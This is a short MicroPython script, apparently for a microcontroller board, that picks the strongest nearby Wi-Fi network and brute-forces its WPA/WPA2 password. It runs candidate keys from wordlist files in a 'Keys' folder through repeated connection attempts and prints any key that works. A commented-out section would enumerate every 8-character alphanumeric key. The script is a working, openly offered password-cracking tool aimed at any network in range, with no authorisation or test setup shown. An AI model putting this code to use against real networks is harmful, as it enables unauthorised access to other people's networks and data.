# Python code to execute key permutation

# WPA/WPA2: 8 bis 63 Zeichen Länge verwendet.
# Zeichen: 0-9,A-Z,a-z

def perm(iterable, r=None):
    # permutations('ABCD', 2) --> AB AC AD BA BC BD CA CB CD DA DB DC
    # permutations(range(3)) --> 012 021 102 120 201 210
    pool = tuple(iterable)
    n = len(pool)
    r = n if r is None else r
    if r > n:
        return
    indices = list(range(n))
    cycles = list(range(n, n-r, -1))
    yield tuple(pool[i] for i in indices[:r])
    while n:
        for i in reversed(range(r)):
            cycles[i] -= 1
            if cycles[i] == 0:
                indices[i:] = indices[i+1:] + indices[i:i+1]
                cycles[i] = n - i
            else:
                j = cycles[i]
                indices[i], indices[-j] = indices[-j], indices[i]
                yield tuple(pool[i] for i in indices[:r])
                break
        else:
            return




# CPU cluck 160MHz
import machine
machine.freq(160000000)


#wlan activation + scan
import wlan
SSID=wlan.wlbestSSID()
wkey=""

print("using WLAN " + SSID)

# first we start with predefined passwords
import os
keyfiles = os.listdir('Keys')

for f1 in keyfiles:
     print("open file: " + f1)
     fo = open('Keys/' + f1,'r')
     for pwd in fo:
        if len(pwd) >= 8 and len(pwd) <= 63:
            print("trying " + SSID + " with PW " + pwd)
            if wlan.wlconnect(SSID,pwd):
                print(pwd)
                wkey=pwd
     fo.close()


  
#alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

#seclist = perm(alphabet,8)

#for key in seclist:
#    print(key)''

print("finished. WLAN Key=" + wkey)
